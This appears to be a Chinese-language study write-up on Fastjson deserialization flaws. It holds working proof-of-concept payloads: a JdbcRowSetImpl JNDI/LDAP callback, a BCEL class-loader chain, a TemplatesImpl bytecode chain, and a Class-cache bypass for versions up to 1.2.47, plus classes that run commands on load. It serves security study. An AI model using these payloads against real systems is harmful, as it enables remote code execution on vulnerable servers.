FastJson反序列化学习

参考:

fastjson反序列化漏洞

FastJson反序列化漏洞

Fastjson

流程分析

maven配置

<dependencies>
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.beust/jcommander -->
<dependency>
<groupId>com.beust</groupId>
<artifactId>jcommander</artifactId>
<version>1.78</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.github.javaparser/javaparser-core -->
<dependency>
<groupId>com.github.javaparser</groupId>
<artifactId>javaparser-core</artifactId>
<version>3.24.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.thoughtworks.qdox/qdox -->
<dependency>
<groupId>com.thoughtworks.qdox</groupId>
<artifactId>qdox</artifactId>
<version>1.12.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>
</dependencies>

代码

Person

package org.example;

import java.util.Map;

public class Person {
private int age;
private String name;
private Map map; //只有get方法,使得getonly参数为true,这样就可以调试反序列化

public Person() {
System.out.println("constructor");
}

/**
* 获取
* @return age
*/
public int getAge() {
System.out.println("getAge");
return age;
}

/**
* 设置
* @param age
*/
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}

/**
* 获取
* @return name
*/
public String getName() {
System.out.println("getName");
return name;
}

/**
* 设置
* @param name
*/
public void setName(String name) {
System.out.println("setName");
this.name = name;
}

// public String toString() {
// return "Person{age = " + age + ", name = " + name + "}";
// }

/**
* 获取
* @return map
*/
public Map getMap() {
System.out.println("getMap");
return map;
}
}

Test

package org.example;

import java.io.IOException;

public class Test {
public void setCmd(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
}

JSONUnser

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializeConfig;

public class JSONUnser {
public static void main(String[] args) {
// 关于绕过ASM动态生成类去调试的方法,直接关闭asm:
// 调试toJSONString:SerializeConfig.getGlobalInstance().setAsmEnable(false);
// 调试反序列化函数:ParserConfig.getGlobalInstance().setAsmEnable(false);

// 1、解析字符串
// String s = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}";
// JSONObject jsonObject = JSON.parseObject(s);
// System.out.println(jsonObject.getString("param1"));

// 2、解析固定类
// String s = "{\"age\":\"18\",\"name\":\"abc\"}";
// Person person = JSON.parseObject(s, Person.class);
// System.out.println(person.getName());

// 3、解析客户端指定的类
// String s = "{\"@type\":\"org.example.Person\",\"age\":\"18\",\"name\":\"abc\"}";
// JSONObject jsonObject = JSON.parseObject(s);
// System.out.println(jsonObject);

// 4、利用set命令执行
ParserConfig.getGlobalInstance().setAsmEnable(false);
String s = "{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"}";
JSONObject jsonObject = JSON.parseObject(s);
System.out.println(jsonObject);
}
}

分析

具体的流程分析可以看fastjson反序列化漏洞的第一个视频,讲的很细致,这里用视频里最后一个例子分析下

fastjson-1.png
fastjson-2.png
fastjson-3.png
fastjson-4.png
fastjson-5.png
fastjson-6.png
fastjson-7.png
fastjson-8.png
fastjson-9.png
fastjson-10.png
fastjson-11.png
fastjson-12.png

1.2.24利用

JdbcRowSetImpl

代码

package org.example;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;

public class FastJsonJdbcRowSetImpl {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/sjWZhiwC\",\"autoCommit\":false}";
JSON.parseObject(s);
}
}

反连服务器用yakit,像下面这样配置好后点一下生成就好

fastjson-13.png

分析

前面的过程就还是和流程分析里的一样,不同的是调用set方法后面的部分,这里从第二次invoke开始调试

fastjson-14.png
fastjson-15.png
fastjson-16.png

Bcel

代码

FastJsonBcel

package org.example;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

import java.io.*;
import java.sql.SQLException;

public class FastJsonBcel {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException {
String path = "target/classes/org/example/Evil.class";
ClassLoader classLoader = new ClassLoader();
byte[] bytes = convert(path);
String encode = Utility.encode(bytes, true);
// classLoader.loadClass("$$BCEL$$"+encode).newInstance();

// BasicDataSource basicDataSource = new BasicDataSource();
// basicDataSource.setDriverClassLoader(classLoader);
// basicDataSource.setDriverClassName("$$BCEL$$"+encode);
// basicDataSource.getConnection();

String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+encode+"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}
public static byte[] convert(String s) throws IOException {
File file = new File(s);
long fileSize = file.length();
FileInputStream fi = new FileInputStream(file);
byte[] buffer = new byte[(int) fileSize];
int offset = 0;
int numRead = 0;
while (offset < buffer.length
&& (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0) {
offset += numRead;
}
fi.close();
return buffer;
}
}

Evil

package org.example;

import java.io.IOException;

public class Evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

分析

主要是使用了get方法,前面就是正常流程,从调用BasicDataSource#getConnection开始调试

fastjson-17.png
fastjson-18.png
fastjson-19.png
fastjson-20.png

因为开头有$$BCEL$$,所以可以正常加载,最后执行恶意代码

TemplatesImpl

代码

FastJsonTemplatesImpl

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class FastJsonTemplatesImpl {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
// 1. 加载恶意类
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"evo1");

byte[] code = Files.readAllBytes(Paths.get("target/classes/org/example/Calc.class"));
byte[][] codes = {code};
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

String base64Str = Base64.getEncoder().encodeToString(code);
// System.out.println(base64Str);

// 其实_tfactory在readObject中会被赋值
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

// templates.getOutputProperties();

// String s = JSON.toJSONString(templates, SerializerFeature.WriteClassName);
// System.out.println(s);

String s = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+base64Str+"\"],\"_name\":\"evo1\",\"_tfactory\":{},\"outputProperties\":{}}";
// 因为里面的属性没有自己的get和set方法,所以需要设置Feature.SupportNonPublicField
JSON.parseObject(s, Feature.SupportNonPublicField);
}
}

Calc

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

// 在defineTransletClasses中要满足superClass.getName().equals(ABSTRACT_TRANSLET)
// 所以这里要继承下AbstractTranslet
public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

分析

不是很实用,因为里面的属性没有自己的getset方法,具体分析可以参考这篇博客

<=1.2.47绕过

maven配置

修改fastjson版本为1.2.25,版本更新后主要是在parseObject中多了checkAutoType

<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>

代码

package org.example;

import com.alibaba.fastjson.JSON;

public class FastJsonBypass1 {
public static void main(String[] args) {
// 第一次先把恶意类加载到缓存里,第二次直接调用
String s = "{" +
"{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/rehCxZrA\",\"autoCommit\":false}" +
"}";
JSON.parseObject(s);
}
}

分析

从第一次在parseObject中反序列化这里开始调试

fastjson-21.png
fastjson-22.png
fastjson-23.png
fastjson-24.png

这里会从换从中获取到需要的类返回,最后在反序列化的地方进入前面说过的JdbcRowSetImpl利用部分了。